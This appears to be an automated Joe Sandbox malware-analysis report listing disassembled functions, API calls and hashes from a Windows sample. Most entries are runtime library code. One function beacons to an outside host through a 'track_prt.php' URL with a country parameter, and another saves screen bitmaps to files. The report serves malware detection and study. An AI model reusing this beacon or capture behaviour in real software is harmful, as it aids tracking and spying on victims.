Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: dbb62072ab6fed83ec18c664342d316d4c9e23de7a89da6955a6b03e0363e3c6
Instruction ID: 515a0150c3ed67af70ee8ab57ad8d99d2f9710b9e0fbd9fd505e744f032f886d
Opcode Fuzzy Hash: dbb62072ab6fed83ec18c664342d316d4c9e23de7a89da6955a6b03e0363e3c6
Instruction Fuzzy Hash: 8041E332B00314DBCB14DF79C881A5EB7B5EF88314F5545AAE516EB382DA35AD01CB84

Function 0211E3F2 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0211E464
_free.LIBCMT ref: 0211E484

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: dbb62072ab6fed83ec18c664342d316d4c9e23de7a89da6955a6b03e0363e3c6
Instruction ID: 2290ff8f63675178f13ee523a8d0ba80cab70c77f9b7a70523aadc2c9c7f420c
Opcode Fuzzy Hash: dbb62072ab6fed83ec18c664342d316d4c9e23de7a89da6955a6b03e0363e3c6
Instruction Fuzzy Hash: B041F532A403149FDB24DFB8C881A5DB7F6EF89714F1545A9E915EB381E730E901CB80

Function 0043354D Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,23E85006,00429DAA,00000000,00000000,0042A5E8,?,0042A5E8,?,00000001,00429DAA,23E85006,00000001,0042A5E8,0042A5E8), ref: 0043359A
__alloca_probe_16.LIBCMT ref: 004335D2
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00433623
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00433635
__freea.LIBCMT ref: 0043363E

Part of subcall function 00430357: RtlAllocateHeap.NTDLL(00000000,0040A8BB,00000000,?,0042343E,00000002,00000000,00000000,00000000,?,00409D6C,0040A8BB,00000004,00000000,00000000,00000000), ref: 00430389

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
String ID:
API String ID: 313313983-0
Opcode ID: 13209b5fad86632e3d2b5ecf4371175c29375bbfbdd9c43b06a18ce89728bff9
Instruction ID: 9e917adb5b94520332cb0b05cdbd38b74e96469b1c707679ee7e4d37fa8c3114
Opcode Fuzzy Hash: 13209b5fad86632e3d2b5ecf4371175c29375bbfbdd9c43b06a18ce89728bff9
Instruction Fuzzy Hash: 3C31EE72A0020AAFDF258F65DC82DAF7BA5EB04315F04022AFC14D72A0E739CE51CB94

Function 00417B66 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00417B8B

Part of subcall function 0040DBC1: _SpinWait.LIBCONCRT ref: 0040DBD9

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00417B9F
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00417BD1
List.LIBCMT ref: 00417C54
List.LIBCMT ref: 00417C63

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: ba6011760db06235155283df2b618593522f622e2309a6f60d5003547c5f04ed
Instruction ID: 011cd1f3d11a4dc3aa990a2433a845682151818d3f0c5c204b9cab00187677c9
Opcode Fuzzy Hash: ba6011760db06235155283df2b618593522f622e2309a6f60d5003547c5f04ed
Instruction Fuzzy Hash: FE314871E09656DFCB14EFA4C5916DDBBB0BF04308B14406FD8013B282DB397A88CB99

Function 02107DCD Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 02107DF2

Part of subcall function 020FDE28: _SpinWait.LIBCONCRT ref: 020FDE40

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 02107E06
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 02107E38
List.LIBCMT ref: 02107EBB
List.LIBCMT ref: 02107ECA

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 1d7fab142bb9c6f7a938b72b2e23fad6b09bbb33b6ceedaff5b22481be41ee86
Instruction ID: bfd8cd555bcda9165f9be6987555ee87eaabab614a221a5e969a6c0e3496713a
Opcode Fuzzy Hash: 1d7fab142bb9c6f7a938b72b2e23fad6b09bbb33b6ceedaff5b22481be41ee86
Instruction Fuzzy Hash: 9F31437298275A9FCB14EFA4D5906ECF7B2BF04708F15406AC5116BAC1DBB17E06CB90

Function 00401D82 Relevance: 7.6, APIs: 5, Instructions: 80memoryfilewindowCOMMON

Download Yara Rule

APIs

GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00401DB4
GdipAlloc.GDIPLUS(00000010), ref: 00401DBC
GdipCreateBitmapFromHBITMAP.GDIPLUS(?,00000000,?), ref: 00401DD7
GdipSaveImageToFile.GDIPLUS(?,?,?,00000000), ref: 00401E01
GdiplusShutdown.GDIPLUS(?), ref: 00401E2D

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Gdip$Gdiplus$AllocBitmapCreateFileFromImageSaveShutdownStartup
String ID:
API String ID: 2357751836-0
Opcode ID: 9370e3a628f748ce145c51507c346c3a9f78214b403eda473eb1dcfc3971c320
Instruction ID: cb0b191c8118ed406d262bebb347a54ca0335822b0d6e392122ee78f31d6eae8
Opcode Fuzzy Hash: 9370e3a628f748ce145c51507c346c3a9f78214b403eda473eb1dcfc3971c320
Instruction Fuzzy Hash: FE2162B5A0121AAFCB00DFA5DC849AFBBB9FF89740B104536E906E3290D774D951CBE4

Function 0042EC0E Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0042B77E,00431A2C,?,0042EBB8,00000001,00000364,?,0042AC95,00454460,00000010), ref: 0042EC13
_free.LIBCMT ref: 0042EC48
_free.LIBCMT ref: 0042EC6F
SetLastError.KERNEL32(00000000), ref: 0042EC7C
SetLastError.KERNEL32(00000000), ref: 0042EC85

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: b8fa4d017a6ede24f91ac19dd6614d9cff5e38bdce806f9b5c7aaf58d8d388ab
Instruction ID: 8af43ba2c6f9aa91691e8b2700d1ff3c70c790c0b8009b1e3ad88ee5e129583e
Opcode Fuzzy Hash: b8fa4d017a6ede24f91ac19dd6614d9cff5e38bdce806f9b5c7aaf58d8d388ab
Instruction Fuzzy Hash: 5001493630062067D61667B77E86E2B172DAFC2379BA0053BF81493292DE7DCC02811D

Function 0211EE75 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(020FAB22,020FAB22,00000002,0211B9E5,02120601,00000000,?,021136A5,00000002,00000000,00000000,00000000,?,020F9FD3,020FAB22,00000004), ref: 0211EE7A
_free.LIBCMT ref: 0211EEAF
_free.LIBCMT ref: 0211EED6
SetLastError.KERNEL32(00000000,?,020FAB22), ref: 0211EEE3
SetLastError.KERNEL32(00000000,?,020FAB22), ref: 0211EEEC

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 3b0bb24d7949a93bf262782ab2cd7d29b830be64ea05bbe9858851d8040037d3
Instruction ID: 9f79cf1dd487b235a926d955c4e8214a6d1c720f811db71a9dac63f241f1c584
Opcode Fuzzy Hash: 3b0bb24d7949a93bf262782ab2cd7d29b830be64ea05bbe9858851d8040037d3
Instruction Fuzzy Hash: 7201F9361C66106FC71667B46C84A2B121E9BC27667720535FC16A3181EFB488158525

Function 0042EB8A Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
_free.LIBCMT ref: 0042EBC1
_free.LIBCMT ref: 0042EBE9
SetLastError.KERNEL32(00000000), ref: 0042EBF6
SetLastError.KERNEL32(00000000), ref: 0042EC02

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 186128fb1f80f7a377660dbd8c70cf267faa05f60f50c683518ff9237cd87038
Instruction ID: 194de20e9792b2684483c0893c774b1080c1e54555e98cae92f7692c98453fcc
Opcode Fuzzy Hash: 186128fb1f80f7a377660dbd8c70cf267faa05f60f50c683518ff9237cd87038
Instruction Fuzzy Hash: 9DF0F9353046206BCA167727BC0AF5B1A199FC2725FA1052BF81592292EE6DCC02912D

Function 0211EDF1 Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0211769C,?,00000000,?,02119A96,020F21C8,00000000,?,0044EEE0), ref: 0211EDF5
_free.LIBCMT ref: 0211EE28
_free.LIBCMT ref: 0211EE50
SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE5D
SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE69

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 80416ded89268a268f8800d8ceb253d7621393ae716c42bcaec2502ca19fcef0
Instruction ID: 09eb98aaeab7b42eb58bb02912bfcb7cfe0b061ee03e5c24a3c8420c31ecdd1e
Opcode Fuzzy Hash: 80416ded89268a268f8800d8ceb253d7621393ae716c42bcaec2502ca19fcef0
Instruction Fuzzy Hash: 7EF0C83A1C67102FD71633A47C04B5F161A9FD6722F350534FD14A21D1FF758925C929

Function 004145C0 Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040F3DD: TlsGetValue.KERNEL32(?,?,0040D7FB,0040F908,00000000,?,0040D7D9,?,?,?,00000000,?,00000000), ref: 0040F3E3

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 004145EA

Part of subcall function 0041DC53: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0041DC7A
Part of subcall function 0041DC53: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0041DC93
Part of subcall function 0041DC53: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0041DD09
Part of subcall function 0041DC53: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 0041DD11

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 004145F8
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00414602
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 0041460C
__CxxThrowException@8.LIBVCRUNTIME ref: 0041462A

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredException@8ExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceThrowValueVirtualWork
String ID:
API String ID: 4266703842-0
Opcode ID: 28ff8952438536a1772b0f2c07e88c577316cc2316fdace72fa5eb4e7b80fb42
Instruction ID: d3d5e42aa277258e184499e7cda03105bcaabd60ae5885d810e6a4e6189f489b
Opcode Fuzzy Hash: 28ff8952438536a1772b0f2c07e88c577316cc2316fdace72fa5eb4e7b80fb42
Instruction Fuzzy Hash: DDF04672A0051877CA25B6A6D8029EEB7295FC0B58B00003FF80063282DF7CDA99CADD

Function 02104827 Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 020FF644: TlsGetValue.KERNEL32(?,?,020FDA62,020FFB6F,00000000,?,020FDA40,?,?,?,00000000,?,00000000), ref: 020FF64A

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 02104851

Part of subcall function 0210DEBA: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0210DEE1
Part of subcall function 0210DEBA: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0210DEFA
Part of subcall function 0210DEBA: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0210DF70
Part of subcall function 0210DEBA: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 0210DF78

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 0210485F
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 02104869
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 02104873
__CxxThrowException@8.LIBVCRUNTIME ref: 02104891

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredException@8ExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceThrowValueVirtualWork
String ID:
API String ID: 4266703842-0
Opcode ID: 28ff8952438536a1772b0f2c07e88c577316cc2316fdace72fa5eb4e7b80fb42
Instruction ID: fecb16a638e44fe5eebb446ee4d1291780b669e63937f377bde0d9c555f4193e
Opcode Fuzzy Hash: 28ff8952438536a1772b0f2c07e88c577316cc2316fdace72fa5eb4e7b80fb42
Instruction Fuzzy Hash: 80F04675A802593BCF16B7A498C096DBA2B9F80750B00003AE900532D0EFB09A16CFC9

Function 00436AF5 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00436B0D

Part of subcall function 0043011A: RtlFreeHeap.NTDLL(00000000,00000000,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?), ref: 00430130
Part of subcall function 0043011A: GetLastError.KERNEL32(?,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?,?), ref: 00430142

_free.LIBCMT ref: 00436B1F
_free.LIBCMT ref: 00436B31
_free.LIBCMT ref: 00436B43
_free.LIBCMT ref: 00436B55

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 772640e124aabc4a30a537be6fd81e7da3a167495dde8cd276dc8af6192704d0
Instruction ID: 8ba35f639b5bcc59e93f438a19486d1785d2f2c3ab5d469de374be673337e1d8
Opcode Fuzzy Hash: 772640e124aabc4a30a537be6fd81e7da3a167495dde8cd276dc8af6192704d0
Instruction Fuzzy Hash: D7F06832504214B78528FF59E4D6C17B7D9BA08320FA6591BF01CD7612CB39FC808E6C

Function 02126D5C Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 02126D74

Part of subcall function 02120381: HeapFree.KERNEL32(00000000,00000000,?,0212700F,?,00000000,?,00000000,?,021272B3,?,00000007,?,?,021276A7,?), ref: 02120397
Part of subcall function 02120381: GetLastError.KERNEL32(?,?,0212700F,?,00000000,?,00000000,?,021272B3,?,00000007,?,?,021276A7,?,?), ref: 021203A9

_free.LIBCMT ref: 02126D86
_free.LIBCMT ref: 02126D98
_free.LIBCMT ref: 02126DAA
_free.LIBCMT ref: 02126DBC

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 772640e124aabc4a30a537be6fd81e7da3a167495dde8cd276dc8af6192704d0
Instruction ID: 6ff0ac4865f870a1209a0ee1bbf28b1360bd02d96bc4dc206dae77b9704fe40b
Opcode Fuzzy Hash: 772640e124aabc4a30a537be6fd81e7da3a167495dde8cd276dc8af6192704d0
Instruction Fuzzy Hash: F6F09C3254936CAFC720FB5AE5C0D0773DEFA147157950A45F088D7550CB35F8958B54

Function 0042E3DA Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0042E3F8

Part of subcall function 0043011A: RtlFreeHeap.NTDLL(00000000,00000000,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?), ref: 00430130
Part of subcall function 0043011A: GetLastError.KERNEL32(?,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?,?), ref: 00430142

_free.LIBCMT ref: 0042E40A
_free.LIBCMT ref: 0042E41D
_free.LIBCMT ref: 0042E42E
_free.LIBCMT ref: 0042E43F

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5f4a0fd41d054a6e339748c950894fb6f424242f91bbcc581637fea950e4f09d
Instruction ID: aca8f67518de44a068bc422f750460037c189a8d2796c155a3cd0e3ccf5701c5
Opcode Fuzzy Hash: 5f4a0fd41d054a6e339748c950894fb6f424242f91bbcc581637fea950e4f09d
Instruction Fuzzy Hash: F8F03AB0805360DB8E89AF25BC524457B61A71A737BD1666BF42457373C73E8C828B8D

Function 00419965 Relevance: 7.5, APIs: 5, Instructions: 30threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::CurrentSubscriptionLevel.LIBCONCRT ref: 0041996F
Concurrency::details::SchedulerProxy::DecrementFixedCoreCount.LIBCONCRT ref: 004199A0
GetCurrentThread.KERNEL32 ref: 004199A9
Concurrency::details::SchedulerProxy::DecrementCoreSubscription.LIBCONCRT ref: 004199BC
Concurrency::details::SchedulerProxy::DestroyExecutionResource.LIBCONCRT ref: 004199C5

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$CoreCurrentDecrementResourceSubscription$CountDestroyExecutionFixedLevelManager::Thread
String ID:
API String ID: 2583373041-0
Opcode ID: 84650c915d2e106121b09c8a6b926245b27275a4e5c0654727400725e9210236
Instruction ID: 26518bd02ade2f0adc2eca14650af283ed220860e243dd1549643b84c0dbd2d7
Opcode Fuzzy Hash: 84650c915d2e106121b09c8a6b926245b27275a4e5c0654727400725e9210236
Instruction Fuzzy Hash: 97F0A7722115009B8625FF22E6518FB73B5AFC5714300091FE48B46651CF3DECD6DB6A

Function 02109BCC Relevance: 7.5, APIs: 5, Instructions: 30threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::CurrentSubscriptionLevel.LIBCONCRT ref: 02109BD6
Concurrency::details::SchedulerProxy::DecrementFixedCoreCount.LIBCONCRT ref: 02109C07
GetCurrentThread.KERNEL32 ref: 02109C10
Concurrency::details::SchedulerProxy::DecrementCoreSubscription.LIBCONCRT ref: 02109C23
Concurrency::details::SchedulerProxy::DestroyExecutionResource.LIBCONCRT ref: 02109C2C

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$CoreCurrentDecrementResourceSubscription$CountDestroyExecutionFixedLevelManager::Thread
String ID:
API String ID: 2583373041-0
Opcode ID: 84650c915d2e106121b09c8a6b926245b27275a4e5c0654727400725e9210236
Instruction ID: b111a3765cd0817b93be25694ebf0bfd6256d447dcbb6e9a6b0008147d7e028d
Opcode Fuzzy Hash: 84650c915d2e106121b09c8a6b926245b27275a4e5c0654727400725e9210236
Instruction Fuzzy Hash: F5F01C36280A009F8629EF21FAE096A77B7AF88710304451DE68A065E1CF65A846DB61

Function 020F2BB5 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 179networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(0044EE38,00000000,00000000,00000000,00000000), ref: 020F2BD8

Part of subcall function 020F12F7: _wcslen.LIBCMT ref: 020F12FE
Part of subcall function 020F12F7: _wcslen.LIBCMT ref: 020F131A

InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 020F2DEB

Strings

https://post-to-me.com/track_prt.php?sub=, xrefs: 020F2C08, 020F2D34, 020F2DA3
&cc=DE, xrefs: 020F2D65, 020F2D6B, 020F2DC8

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: InternetOpen_wcslen
String ID: &cc=DE$https://post-to-me.com/track_prt.php?sub=
API String ID: 3381584094-4083784958
Opcode ID: 3ea6247b92d0976e3817e8dda39be9bb0170bd98a543ba270322dcfa1fdb38c8
Instruction ID: f2dbc16fd8636f33f67993a24c52281f2bc825f2c9ea94657390ebbaf825e81f
Opcode Fuzzy Hash: 3ea6247b92d0976e3817e8dda39be9bb0170bd98a543ba270322dcfa1fdb38c8
Instruction Fuzzy Hash: 39510765278344E9E340DFB0BC55B662368FF58712F60243BE608CB2B2E7B58D44871D

Function 0042F8F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,-00000001,00000000,?,?,?,00000000,00000000,00000000,?,?), ref: 0042FA02
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,?,?,?,00000000,00001000,?), ref: 0042FA0E
__dosmaperr.LIBCMT ref: 0042FA15

Strings

qwB, xrefs: 0042F8F7

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr
String ID: qwB
API String ID: 2434981716-1390286072
Opcode ID: 38a8bd71ff75772b6996eb17657eaef6fbd490782abfe003fd9e7334627a92ea
Instruction ID: 64872042f2aec175c35aa1aea857fa2e74fde91ae8073598d6f00dc367d54ea2
Opcode Fuzzy Hash: 38a8bd71ff75772b6996eb17657eaef6fbd490782abfe003fd9e7334627a92ea
Instruction Fuzzy Hash: 88415A70704165BFDB248F28E880B7E3FB5DB86304BA441BBE88987642D6358D86D79C

Function 0042C3C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\xHj1N8ylIf.exe,00000104), ref: 0042C403
_free.LIBCMT ref: 0042C4CE
_free.LIBCMT ref: 0042C4D8

Strings

C:\Users\user\Desktop\xHj1N8ylIf.exe, xrefs: 0042C3FA, 0042C401, 0042C430, 0042C468

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\xHj1N8ylIf.exe
API String ID: 2506810119-3980051880
Opcode ID: c689dd25a216cbd2810efc3e5d046765f0cce950db3011ae1c114f6d80ce13cd
Instruction ID: 5d5bd56ec8890bfdfce01140b9d10daf38c31c3a9ed2a2342d55d5eddc8c66d7
Opcode Fuzzy Hash: c689dd25a216cbd2810efc3e5d046765f0cce950db3011ae1c114f6d80ce13cd
Instruction Fuzzy Hash: 13316571B04228EBCB21EF95ACC5DAFBBFCEF85314B50406BE90497211D6788E45CB99

Function 0211C62F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\xHj1N8ylIf.exe,00000104), ref: 0211C66A
_free.LIBCMT ref: 0211C735
_free.LIBCMT ref: 0211C73F

Strings

C:\Users\user\Desktop\xHj1N8ylIf.exe, xrefs: 0211C661, 0211C668, 0211C697, 0211C6CF

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\xHj1N8ylIf.exe
API String ID: 2506810119-3980051880
Opcode ID: 2490f6d85a7dacca3b42f6b0ea048d084214e3ff3826d3a7afbd0817eb3015ad
Instruction ID: db66e57600f3c91f4422d4ffd10c6594010313cfa3a8ebe9aae3f7322dfb96e0
Opcode Fuzzy Hash: 2490f6d85a7dacca3b42f6b0ea048d084214e3ff3826d3a7afbd0817eb3015ad
Instruction Fuzzy Hash: ED316DB1A84258EFCB21DF9998859AEBBBDEF89354B104077E80497211D7B08E45CBD2

Function 0212737E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021273AD

Strings

kD, xrefs: 02127391

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: _free
String ID: kD
API String ID: 269201875-327787385
Opcode ID: f0803c4a2534041ec40fca8936d9ffc4fb3fc2dc1b26e0596172acca7b6f1e12
Instruction ID: a9966ee48b8af8eb316759c8f82d4b655d93606f54024c79329a606819093e65
Opcode Fuzzy Hash: f0803c4a2534041ec40fca8936d9ffc4fb3fc2dc1b26e0596172acca7b6f1e12
Instruction Fuzzy Hash: FDF028329CC731BFE3182631A901B9BF34ADF52370F10011AF818660C0DBA1647B8AE5

Function 02110F1F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 02110FA9

Strings

{B, xrefs: 02110F22

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

